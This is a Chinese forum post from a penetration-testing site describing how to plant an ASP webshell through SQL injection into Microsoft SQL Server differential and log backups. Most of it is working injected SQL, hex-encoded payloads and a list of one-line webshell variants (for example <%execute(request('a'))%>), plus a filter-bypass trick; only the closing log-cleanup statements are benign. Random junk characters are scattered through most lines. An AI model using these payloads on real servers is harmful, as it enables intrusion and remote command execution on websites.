中国网络渗透测试联盟

标题: MSsql差异备份总结 [打印本页]

作者: admin    时间: 2012-9-13 17:21
标题: MSsql差异备份总结
差异备份的流程大概这样:2 q0 g" _* A$ Q9 w- p" I' F
1.完整备份一次(保存位置当然可以改)# q  {' n4 v7 A! U
backup database 库名 to disk = 'c:\ddd.bak';--
* @0 t4 d; S! ^' w* |& y" s& A  }/ ?% f$ A4 t; b+ M
2.创建表并插曲入数据" B! y$ J+ l/ T) i0 ]
create table [dbo].[dtest] ([cmd] [image]);3 f: s/ q6 N) `& _
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--; N5 V9 u2 E( z' ]0 {' @+ v  m! J
1 p9 H  T- \# I/ u* Z  |
3.进行差异备份
- H7 ^+ y$ ~# s' h% ]backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--7 U# {* W) ~! w! W  g% s! z
6 }5 S6 V: [( n+ _4 Q. i" |
上面' }4 V/ F) ^  x
0x3C25657865637574652872657175657374282261222929253E
; t% |' M) f. f, h( M就是一句话木马的内容:<%execute(request("a"))%>
, P$ }# p0 t% j
2 X0 p5 v  K& ]/ Y8 b$ u如下是网上常见的差异备份代码,思路一样!
: D8 w7 T9 H% }1 K" |& z0 R: y9 \===================================================
( F/ g  U8 D1 E4 E利用差异备份提高提高backupwebshell的成功率,减少文件大小/ r; ]( O* [/ X- T4 G6 [) U1 s
步骤:3 X+ K6 ]6 B/ K4 M$ U

# e3 n% ~+ K2 p0 E0 Z" G/ Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  --备份数据库
/ V: q. h+ a$ b' H& o
7 W% g$ V2 G5 S. V4 b  n5 Y2 Lcreate table [dbo].[xiaolu] ([cmd] [image]);  -- 创建一个表
2 b. z0 P3 }4 k4 `& G) w; a7 I& d  V/ m1 `0 w4 ?' h8 z
. o  _1 L+ _# n
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)  --将一句话木马的16进制字符插入到表中+ g; h/ I7 G* o, y
+ n$ Z& D3 e. C5 m# b
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT  --对数据库实行差异备份
" I; T' S1 T1 @7 R! l! g+ m6 V6 G6 U8 {) n
drop table [xiaolu]  -- 删除此表。  R1 u0 m; a2 G# {4 f

) P% q0 M# x! D. G% J- V) L2 N1 Z0x77006F006B0061006F002E00620061006B00为wokao.bak' \3 R9 x5 N8 Q* D1 \& }& r
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
1 G4 ]5 N. v9 N6 k0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
" v# ?7 T1 t+ W
% g  l! e5 ~0 D( Y声明:方法不是我想的,我只是写工具,默认得到shell是
3 \# B& X6 p6 y4 `: X( Q6 ^) t! O& }6 Z<%execute(request("a"))%>. H% C; Z& o# G
===============================================================
. m4 z8 z! K4 L5 @, j0 r
. ]0 e( g! e& R7 k' l) @) z3 G' S我发现上面代码,有时会无效,而直接用
6 V6 u  L( a4 k' v0 U" N6 _. N* _0 ]; `& E
backup database 库名 to disk = 'c:\ddd.bak'+ o: e' {  y! L7 L  b& N) K
# a. _1 a6 H6 l5 j3 c8 o
create table [dbo].[dtest] ([cmd] [image]);0 J0 e: Y+ `' I2 p! i0 s5 g
. R- M" O4 i7 N+ S4 `- ?/ i5 a* o
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)* ]( |7 R6 G; j' D
1 V' Y/ {" `2 x# v1 P% G
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
6 W5 m. z: P7 Q* T' A6 O5 X% r, Z% `* h- P7 j% ?; I  b
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
/ h$ x/ H( E6 j- F: ]
; R! ]4 S5 g3 z: c* e  f  g库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
$ t2 Z; M" y* |/ n; r+ y
) c1 W5 m* ]4 V0 A* _9 _6 m& e网上还有log增量备份的,我也把他记录一下( i& ^! K' R9 \: n/ j, E9 E
=====================================================
5 [1 L, @2 ~8 T( Q; ^+ U* V另一种log增量备份技术:. |3 t8 B5 o" U6 A0 d: \

7 G: H. [/ W: [- w- O';alter database null set RECOVERY FULL--$ C# _0 [3 p6 S: R4 I" B

/ n' ?; e# E7 e';create table cmd (a image)--! A2 X: r% i3 }! ]/ l* r

" n8 p8 r  d1 G3 j1 R6 A4 y';backup log null to disk = 'f:\cmd' with init--
  d, X6 T) D1 r% ]0 r$ P0 e  w0 \' n$ C5 G' Y4 B) I* b% J3 L6 ^
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--* s4 y9 L& h4 B# a. G6 v! o+ x/ s) H9 D

; ]1 x# ~% @' o+ m8 Q3 Z1 _9 Q1 V';backup log null to disk = '备份路径'--
+ |* z1 |6 O; f5 z8 Z; B9 a& ~' {5 }9 p6 B7 G/ x
';drop table cmd--
' ~; d" ?4 P$ U- s- `" Q  o3 g0 o( @/ z5 A; Q
';alter database XXX set RECOVERY SIMPLE--
! U1 O: A" W2 R+ [
& R! s/ H" C4 H; ?3 t4 dPS:0x3C2565786563757465287265717565737428226122292, E( Y' h# q! Y9 @
9253EDA 是一句话小马16进制转来的
% M) N- E$ e- u  I" j  e
# m- j2 M2 N3 U* g' n. l$ h$ W5 s1 z说到一句话马,还可以有这么几种写法:) x$ F8 \0 j9 C1 r5 S
5 A) j: X: a. y- p: p
a)<%%25Execute(request("a"))%%25>9 X7 A: Y" q- @7 t" {8 M* N
b)<%Execute(request("a"))%>4 }: m  d' r5 V# {9 [
c)%><%execute request("a")%><%
- a2 q: _& x+ g5 [4 k+ rd)<script language=VBScript runat=server>execute request("a")</script>0 B, B: ~. E; ?  N: x
e)<%25Execute(request("a"))%25>
7 e& D7 R) [5 Zf)<%eval(request("a")):response.end%> 备分专用一句话   (也就是插入一句话后所有的代码都无效,在一句话这里打止)4 r! a" j+ o9 H0 t; m/ q7 U
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
; a8 ^, R( k" P; ch)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
3 K' M! s) I# }: e# I7 B6 jI)<%eval request(0)%>, k* N9 {3 R) _1 T% _0 s
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话9 S# b0 T' @* f; ?+ Y1 q6 N
9 E2 U7 a8 {; ?. c  w
=============================================
8 p3 U8 Z! n3 @( [& E. b) W. V$ K
当遇到差备过滤了/时用这个语句代替
* s2 \; E7 m5 t( v& o0 a- [% G, x2 b* Q
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--" a, Z* x- p4 S/ A
& b, o2 \7 O. m# b% ?' P# k
把要执行的语句转16进制然后用exec执行
' i; ^2 ~7 L! U: F" U3 C3 i
+ q1 S  ~! D! V
" p9 P, h1 r$ p" `: L! b# V# D# O减少备份文件大小方法如下:  F% J( U, l5 ]3 L0 ~4 J) @- e  b
+ F; h2 \2 n5 S. p9 v  ?& j
总的来说就是那么简单几句,下面以备份数据库model为例子
* W) }: Y$ U7 p5 b1
$ L) W7 ^6 o6 T$ ]1 qid=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
4 b# C6 S# D3 s- ~, b+ T2- h  ]6 ^, L! H7 z" x" U/ m
id=1;backup database model to disk='你的路径‘ with differential,format;--
0 X# ~' Q5 }$ v9 h# L
& l& s: E: R9 k. k3 m  U/ V/ \/ s# u, g( B5 N4 I4 N- Y% e: v

/ Y. @8 d' }) ]) }; |" h% ESQL语句清理日志0 I) z: b2 G- ]) k$ C
注:test为数据库名 4 ^1 k! B- m4 {) L- F1 T# E7 B
; J( B6 R& m! }/ Y; @  c+ g! c
--清空日志
& n+ T3 j  p& a+ iDUMP TRANSACTION test WITH NO_LOG
: z2 z  r8 U/ f+ X% ]! o
  M8 p. ?( a6 |8 p0 T0 M--截断事务日志 2 \* I; W2 \8 n& ^! L% y& A
BACKUP LOG test WITH NO_LOG . M- @3 [7 S, b- h2 A+ J

; g* l8 g& G' ?; L, C--收缩数据库
( @1 b1 `+ _# k5 \; X4 cDBCC SHRINKDATABASE(test) 1 Q% P- ]' Z8 i0 g9 G$ N

% g. ?, b( A) A2 Q" n--收缩指定数据文件,1是文件号,可以通过这个语句查询到
4 K) x& j5 A% xSelect * from sysfiles DBCC SHRINKFILE(1)7 W6 N! C0 r2 k! p1 Y+ w

2 ]8 W0 c' L0 L% J; E--以后能自动收缩 7 S) S) ~! Z. e' Q! W
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2